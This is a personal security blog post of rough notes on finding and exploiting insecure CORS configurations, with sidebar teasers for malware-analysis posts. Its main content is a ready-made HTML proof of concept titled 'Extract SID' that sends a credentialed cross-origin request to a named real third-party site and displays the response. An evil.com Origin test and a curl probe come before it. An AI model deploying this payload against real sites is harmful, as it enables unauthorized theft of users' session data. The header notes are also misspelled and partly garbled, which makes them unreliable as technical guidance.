Insecure CORS

Insecure CORS:
CORS misconfiguration:
Insecure CORS:
url querystring = embed?
way to find insecure cors misconfiguration:
1.origin: www.evil.com in request header ->check if in response header ->it returns all-origin-control:www.evil.com then there is a insecure cors.
2.Curl http://example.com -H"Origin:atacking URL" -I


Exploit:
Access-control-Allow-Origin:null
Access-Control-Allow-Crenditals:true
Poorly impletmented and not expoiltable.
Access-control-Allow-Origin:*


PAYLOAD:
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id=&quot;demo&quot;>
<button type=&quot;button&quot; onclick=&quot;cors()&quot;>Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 &amp;&amp; this.status == 200) {
document.getElementById(&quot;demo&quot;).innerHTML = alert(this.responseText);
}
};
xhttp.open(&quot;GET&quot;,”https://blog.monetha.io/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fblog.monetha.io%2Fhow-am-i-
different-from-tokencard-tenx-monaco%2F”, true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>

Comments

Post a Comment

Popular posts from this blog

System Malware Analysis

What is Malware ?                           Malware is a code that performs malicious actions; it can take the form of an executable,script, code, or any other software. Attackers use malware to steal sensitive information, spy on the infected system, or take control of the system. It typically gets into your system without your consent and can be delivered via various communication channels such as email, web, or USB drives. The following are some of the malicious actions performed by malware: Disrupting computer operations Stealing sensitive information, including personal, business, and financial data Unauthorized access to the victim's system Spying on the victims Sending spam emails Engaging in distributed-denial-of-service attacks (DDOS) Locking up the files on the computer and holding them for ransom Types of Malware  Botnets Ransomware Rootkits Trojans Viruses Worms Adware sp...
Read more

Malware Sample Analysis (29F228F3375C489A8A6E31203AB25787)

Image
File hash: MD5 : 29F228F3375C489A8A6E31203AB25787 Sha1 : 14D713A5C8A2FC01FA2F01D993A249B9FB292810 Sha256: EC905CB2CB8E9F74790ADDE2C138807F3A6CDBECD5735FA5035B547280D7DB79 Note : cmd are mentioned in blue.Imp data marked as "purple". Basic Static Analysis: Determine the file type: Using file command:   test$ file Unknown Unknown: PE32 executable (console) Intel 80386, for MS Windows Using File Signature: Test$ hexdump Unknown  0000000 5a4d 0090 0003 0000 0004 0000 ffff 0000 0000010 00b8 0000 0000 0000 0040 0000 0000 0000 0000020 0000 0000 0000 0000 0000 0000 0000 0000 0000030 0000 0000 0000 0000 0000 0000 00d8 0000 0000040 1f0e 0eba b400 cd09 b821 4c01 21cd 6854 0000050 7369 7020 6f72 7267 6d61 6320 6e61 6f6e 0000060 2074 6562 7220 6e75 6920 206e 4f44 2053 0000070 6f6d 6564 0d2e 0a0d 0024 0000 0000 0000 0000080 4be3 9a53 2aa7 c93d 2aa7 c93d 2aa7 c93d 0000090 b7bc c9a3 2aa6 c93d b7bc c997 2aa1 c93d 00000a0 52ae c9ae 2aa2 c93d 2aa7 c93c 2ab5 c93d 00000b0 b7bc c992 2aa6 c93d ...
Read more

Static Analysis

Image
Static Analysis                                          Examine the executable file without viewing the actual instruction. Try to figure out what the malware is trying to do and the commands it is attempting to execute. Identifying the File type Extracting the String Analysis binary with Virus Total   Determining Obfuscation of binary   Examine the PE header Malware Sources:                          Once you have a lab set up, you will need malware samples for performing analysis.The following are some of the sources from where you can get malware samples for your analysis.             ...
Read more